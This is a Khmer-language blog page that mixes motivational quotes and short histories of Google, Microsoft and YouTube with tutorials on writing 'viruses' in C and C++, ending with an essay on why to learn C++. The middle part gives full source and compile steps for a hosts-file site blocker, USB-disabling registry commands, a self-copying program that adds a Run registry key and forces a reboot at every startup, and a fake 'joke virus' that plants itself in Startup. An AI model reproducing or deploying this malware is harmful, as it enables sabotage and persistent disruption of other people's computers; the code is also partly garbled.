" If you born poor it is not your mistake but if you die poor it is your mistake. Bill gates "
" The only way to do great work is to love what you do.If you haven't found it yet,keep looking.Don't settle. Steve Job "

history of google

Google began in March 1995 as a research project by Larry Page and Sergey Brin, Ph.D. students at Stanford University. In search of a dissertation theme, Page had been considering—among other things—exploring the mathematical properties of the World Wide Web, understanding its link structure as a huge graph.

Steve Jobs

Steven Paul "Steve Jobs" ( February 24, 1955 – October 5, 2011) was an American entrepreneur, marketerand inventor,who was the cofounder, chairman, and CEO of Apple Inc. Through Apple, he was widely recognized as a charismatic and design-driven pioneer of the personal computer revolution and for his influential career in the computer and consumer electronics fields, transforming "one industry after another, from computers and smartphones to music and movies.

History of Microsoft

Microsoft is a multinational computer technology corporation. The history of Microsoft began on April 4, 1975, when it was founded by Bill Gates and Paul Allen in Albuquerque.[1] Its current best-selling products are the Microsoft Windows operating system, Microsoft Office suite of productivity software, Xbox a line of entertainment of games, music and video and Bing, a line of search engines.

History of YouTube

YouTube began when three former PayPal employees started to create a video-sharing website on which users could upload, share, and view videos.The Internet domain name "youtube.com" was activated on February 14, 2005.YouTube was founded by Chad Hurley, Steve Chen, and Jawed Karim, who were all early employees of PayPal.

Computers

The first substantial computer was the giant ENIAC machine by John W. Mauchly and J. Presper Eckert at the University of Pennsylvania. ENIAC (Electrical Numerical Integrator and Calculator) used a word of 10 decimal digits instead of binary ones like previous automated calculators/computers.

Thursday, May 28, 2015

សរសេរមេរោគបិទវ៉ិបសាយ

បង្កើតមេរោគបិទវ៉ិបសាយ Virus Block Websites

a

ការសរសេរដោយប្រើកម្មវិធី C ដើម្បីសរសេរ និង compile ជាមេរោគ
ខាងក្រោមនេះប្រភពកូដ source code សរសេរក្នុង ​​កម្មវិធីC
#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
ធ្វើយ៉ាងណាដើម្បី Compile ?
1. ដោនឡូត Download ប្រភពកូដ source code មេរោគ ចុចលើនេះ.
2. ចំលងបញ្ចូល Compile source code ដោយប្រើ C/C++ compiler។
3. សាកល្បង រត់ compiled module វានឹងបិទវ៉ិបសាយ
4. ម្យ៉ាងទៀតលោកអ្នករត់ file block_Site.exe, ពេលនោះ restart កម្មវិធី browser ហើយបានបិទ URL បង្ហាញលេចចេញ “Page cannot displayed“។
4. ដោះចេញ remove បង្ហាញដូចខាងក្រោម 
%windir%\system32\drivers\etc
5. បើកឈ្មោះ file named “hosts” ដោយប្រើ notepad ចុចបើក អ្នកនឹងឃើញ 127.0.0.1  google.com

6. លប់វាចេញ។

បង្កើតមេរោគ បិទ បើក USB


បិទ USB:
#include<stdio.h>
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f”);
}
វានឹងឆ្លងសម្រាប់អ្នកចេះសរសេរ, Compile –> RUN (Alt+ F9 and Ctrl + F9)


a

បើក USB:
#include<stdio.h>
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f”);
}
បង្កើតមេរោគ Restart កុំព្យូទ័រ ពេល Startup
របៀបបង្កើតមេរោគ​ម៉្យាងដែលវាមានសមត្ថភាពអាច Restart កុំព្យូទ័រ ដោយខ្លួននៅពេលដែលយើងបើក។
នៅពេលដែលមេរោគនេះឆ្លង ចូលកុំព្យូទ័រណាហើយ កុំព្យូទ័រនោះតែងតែ Restart ដោយខ្លួនវាជារៀងរាល់ពេល
មានន័យថានៅពេលដែលកុំព្យូទ័រចាប់ផ្ដើម Boot គឺមេរោគវាចាប់ផ្ដើមធ្វើទុក្ខបុកម្នេញតែម្ដង។
ដោយវិធីបង្កើតវាយើងត្រូវសរសេរកូដនៅលើភាសា C
សូមផ្ដាំថា ប្រសិនបើកុំព្យូទ័រលោកអ្នកមិនមានកម្មវិធីកម្ចាត់មេរោគស្របច្បាប់ទេ សូមកុំព្យាយាមបង្កើតវាលេងអី
ព្រោះបានអនុវត្ដន៍ខូច Windows អស់មួយហើយ។
សូមអនុវត្តន៍ជាមួយកូដខាងក្រោម
#include<stdio.h>
#include<dos.h>
#include<dir.h>  
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //បញ្ជាក់ root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //បញ្ជាក់ថាទៅជាមេរោគបានឆ្លង ឬមិនទាន់ឆ្លង វានឹងតំឡើង ឬអត់
if(done==0)
{
found=1;//មានន័យថា system របស់អ្នកបានឆ្លងរួចរាល់ហើយ
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //ប្រសិនបើ System មិនទាន់បានឆ្លង
{
self=fopen(_argv[0],”rb”); //មេរោគ នឹងដំណើរការដោយខ្លួនឯង
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //កន្លែងចម្លងខ្លួនដោយខ្លួនវាផ្ទាល់
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //ដាក់ file  registry សម្រាប់ starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //ប្រសិន system ត្រូវបានឆ្លងរួចហើយវានឹងដំណើរ command  restart

បង្កើតមេរោគជាមួយ C++

បង្កើតមេរោគ Joke ជាមួយ C++


មេរោគកុំព្យូទ័រ ជាកម្មវិធីមួយបែប ដែលមានលទ្ធភាព អាច ធ្វើការចម្លង ខ្លួនរបស់វាពី កន្លែងមួយ ទៅកន្លែងមួយ ផ្សេងទៀតតាមរយៈ File កម្មវិធី អត្ថបទ កុំព្យូទ័រនៅលើ បណ្តាញ និងនៅលើ បង្ហាញលោក អ្នកនូវ កូដ របស់មេរោគ ម៉្យាងដែលមានឈ្មោះថា Virus Joke Program
-ចំណងជើង Virus Joke Program
-អ្នកនិពន្ធ Sohan Vineet Alva
-អ៊ីម៉ែលអ្នកនិពន្ធ dj_shawn2003 [at] hotmail.com
– ពណ៌នាពីមេរោគ This is not exactly a virus …. but good enough to fool someone….. and keep him/her beating around the bush
– ប្រភេទ Virus & Trojans

a

របៀបបង្កើត
-សូមបើកកម្មវិធី  Dev C++
-បន្ទាប់សូមសរសេរកូដដូចខាងក្រោម
#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h
#include<process.h>
#include<graphics.h>#include<fstream.h>void ffool(); //FUNCTION WHICH GIVES THE FINAL MESSAGEvoid main()
  1. {
    clrscr();
    for(int i=0;i<=100;i++)
    { textcolor(YELLOW+BLINK);
    gotoxy(35,12);
    cprintf(“VIRUS LOADING”);
    gotoxy(39,15);
    textcolor(GREEN);
    cout<<i<<”%”;
    delay(75);
    clrscr();
    }
    delay(100);
    clrscr();
    fflush(stdout);
    gotoxy(20,12);
    cout<<” ‘TOURNIQUET’ VIRUS CREATED BY PROCRAETORIAN”;
    gotoxy(20,14);
    cout<<” SAY GOOD BYE TO YOUR PC IN “;
    for(int j=5;j>=0;j–)
    {
    gotoxy(48,14);
    cout<<j<<” SECONDS”;
    delay(1000);
    }
    ofstream f1;
    f1.open(“c:/windows/All Users/desktop/procraetorian.sys”);
    ofstream f3(“c:/windows/All Users/desktop/blast.sys”);
    ofstream a2(“c:/windows/All Users/desktop/mslaugh.exe”);
    ofstream s2(“c:/windows/All Users/desktop/backdoor.sys”);
    ofstream g2(“c:/windows/All Users/desktop/spin32_war.sys”);
    ofstream h2(“c:/windows/All Users/desktop/russpatr.sys”);
    ofstream j2(“c:/windows/All Users/desktop/torr_sys32.sys”);
    ofstream k2(“c:/windows/All Users/desktop/xxx.sys”);
    ofstream l2(“c:/windows/All Users/desktop/i.txt”);
    ofstream sm(“c:/windows/All Users/desktop/am.txt”);
    ofstream d1(“c:/windows/All Users/desktop/your.txt”);
    ofstream d2(“c:/windows/All Users/desktop/worst.txt”);
    ofstream d3(“c:/windows/All Users/desktop/night.txt”);
    ofstream d4(“c:/windows/All Users/desktop/mare.txt”);
    clrscr();
    lowvideo();
    cout<<” 1.HARD-DISK CORRUPTION 
    :”;
    delay(4000);
    cout<<”completed”;
    cout<<” 2.MOTHER BOARD CORRUPTION 
    :”;
    delay(4000);
    cout<<”completed”;
    cout<<”
3.INSTALLING CYBERBOB.DLL –>WINDOWS/COMMAND 
:”;
delay(4000);
cout<<”completed”;
cout<<”
PROCRAETORIAN.SYS SUCCESSFULLY PLANTED”;
delay(3000);
rename(“VIRUS.EXE”,”C:WINDOWSStart MenuProgramsStartUpVIRUS.EXE”);
//ffool();
}
//*END OF MAIN*//
//*START OF ffool()*//
void ffool()
{
clrscr();
int g=DETECT,h;
initgraph(&g,&h,”\tc\bgi\”);
cleardevice();
delay(1000);
setcolor(2);
settextstyle(1,0,1);
delay(1000);
setbkcolor(BLUE);
highvideo();
outtextxy(50,150,”THE PROCRAETORIAN:”);
delay(1500);
outtextxy(50,200,”YOUR PC IS NOW UNDER SURVEILANCE BY THE VIRUS
HOST”);
outtextxy(50,250,”PEA(C)E BE WITH YOU ! ! !”);
getch();
delay(4000);
closegraph();
exit(0);
}
បន្ទាប់មកសូមចុច Execute (Menu) => Compile & Run ឬ Key F9 ដើម្បីដំណើរការ

why learn c++?


តើហេតុអ្វីចាំបាច់រៀន C++?


សម្រាប់​ប្អូនៗ​ដែល​កំពុង​រៀននៅតាមមហាវិទ្យាល័យនានា​ផ្នែក IT (Computer Science) ប្អូនៗ​ត្រូវដឹងថាភាសារ​កម្មវិធី (Programming Language) ដែល​ប្អូនត្រូវយកចិត្តទុកដាក់​បំផុត​ជាដំបូង​នោះគឺភាសា C++ ដែល​ប្អូនរៀន​ក្នុង​ឆ្នាំ​ដំបូងនៃ​ផ្នែក IT ហេតុអ្វី?

+ ភាសា C++ ជាភាសារដំបូង​ដែល​នាំ​ឲ្យ​ប្អូនបានចាប់ផ្ដើម​ស្គាល់​ពីអ្វី​ដែល​ហៅថា Classes ដែល​ជាប្រភពនៃការ​បង្កើត Objects ហើយវា​ត្រូវបាន​អនុវត្តន៍​យ៉ាង​ពេញលេញ​ជាមួយនឹង​ភាសា​កម្រិត​ខ្ពស់​ដូចជា C#, Java,  F#, Objective-C, PHP… ។ កាលណាប្អូនមាន​មូលដ្ឋាន Classes នេះរឹងមាំប្អូនអាចរៀនភាសា​ប្រភេទ OOP ដែល​បាននិយាយ​ខាងលើ​នេះដោយងាយ ជា​ពិសេស​គឺប្អូនមាន​លទ្ធភាព​អាច​បង្កើត Libraries (សម្រាប់ Windows OS គឺ .DLL file ដែល​ប្អូន​ធ្លាប់​បានឃើញ ឬ .so សម្រាប់ Android) ក្នុង​ការងារ Projects ធំៗ ។
+ ភាសា C++ ក៏​ជាភាសារ​មូលដ្ឋាន​ដែល​ដែល​ប្អូនៗ​បានហ្វឹកហាត់ការអត់ធ្មត់​ជាមួយនឹង​ការ​ សរសេរ​កូដដ៏​ច្រើន​សម្រាប់​បង្កើត​កម្មវិធី​ណាមួួយ (ត្រូវចាំថាអ្នក Programmer គឺមានភាពអត់ធ្មត់ និង ការតស៊ូ ដើម្បី​សម្រេច​លើគោល​បំណង​នៃការ​បង្កើត​កម្មវិធី​ណាមួយ) ។
+ភាសា C++ ជា​មូលដ្ឋាន​ដែល​ប្អូនៗ​បានស្វែងយល់ពីអ្វី​ដែល​ហៅថា Algorithm (មានសិស្សជា​ច្រើន​នៅមានភាពមិនច្បាស់លាស់ពីអ្វី​ដែល​ហៅថា Algorithm វាជាការងាយយល់ទេ វិធីសាស្រ្តនិង​ដំណាក់​កាលជាជំហ៊ានៗ​ដែល​ប្អូនៗ​យកមកដោះស្រាយ​បញ្ហា​ណាមួយ​ ហើយទទួលបានជោកជ័យដូច​បំណង​នោះហើយហៅថា Algorithm ត្រូវចាំថាការដោះស្រាយ​បញ្ហា​មួយ​វានឹង​មាន Algorithms ច្រើន​អាចយកមក​ប្រើ​បាន) ។
1
+ភាសា C++ ជា​មូលដ្ឋាន​ដែល​បង្រៀនប្អូន​ឲ្យ​ស្គាល់​ពីអ្វី​ដែល​ហៅថា Data Structure ដោយប្អូននឹងរៀនពី Arrays, Pointer, LinkList, Stack, Queu… ដែល​ជាវិធីនៃការ​គ្រប់គ្រង​ទិន្នន័យ​បែប​លក្ខណៈ flat មួយមុននឹងប្អូនៗ​ឈានទៅរកការ​សិក្សា​អំពី Database Management ,Generics, Collections,LAMDA,  LINQ នៅ​ក្នុង C# ឬ Java
+ភាសា C++ នឹងនាំ​ឲ្យ​ប្អូនៗ​បានយល់ពីអ្វី​ដែល​ហៅថា Control Structure ក្នុង​ការធ្វើ​ឲ្យ​កម្មវិធី​ដែល​ប្អូនបាន​បង្កើត​អាចធ្វើអ្វីមួយតាម​តម្រូវ​ ការ ។ ពេល​ដែល​ប្អូនៗ​សិក្សា​ពី Control Structure ប្អូននឹងដឹងថាអ្វីទៅ​ដែល​ហៅថា Expression និង Logic (ដែល​ប្អូនបានរៀន​ក្នុង​គណិតវិទ្យា​ដូចជា តក្កវិទ្យា និង សំនុំជាដើម) ។
ជាសង្ខេបកាលណាប្អូនៗ ​មាន​មូលដ្ឋាន​ភាសា C++ រឹងមាំប្អូនៗ​នឹងអាចរៀនភាសា​កម្រិត High level ដូចជា C#, Java, PHP ឬ​ក៏​មាន​បំណង​ចង់​សិក្សា​របៀប​សរសេរ​កម្មវិធី សម្រាប់ Android, Windows Phone ឬ iOS (iPod,iPhone, និង iPad បាន​លឿន) ។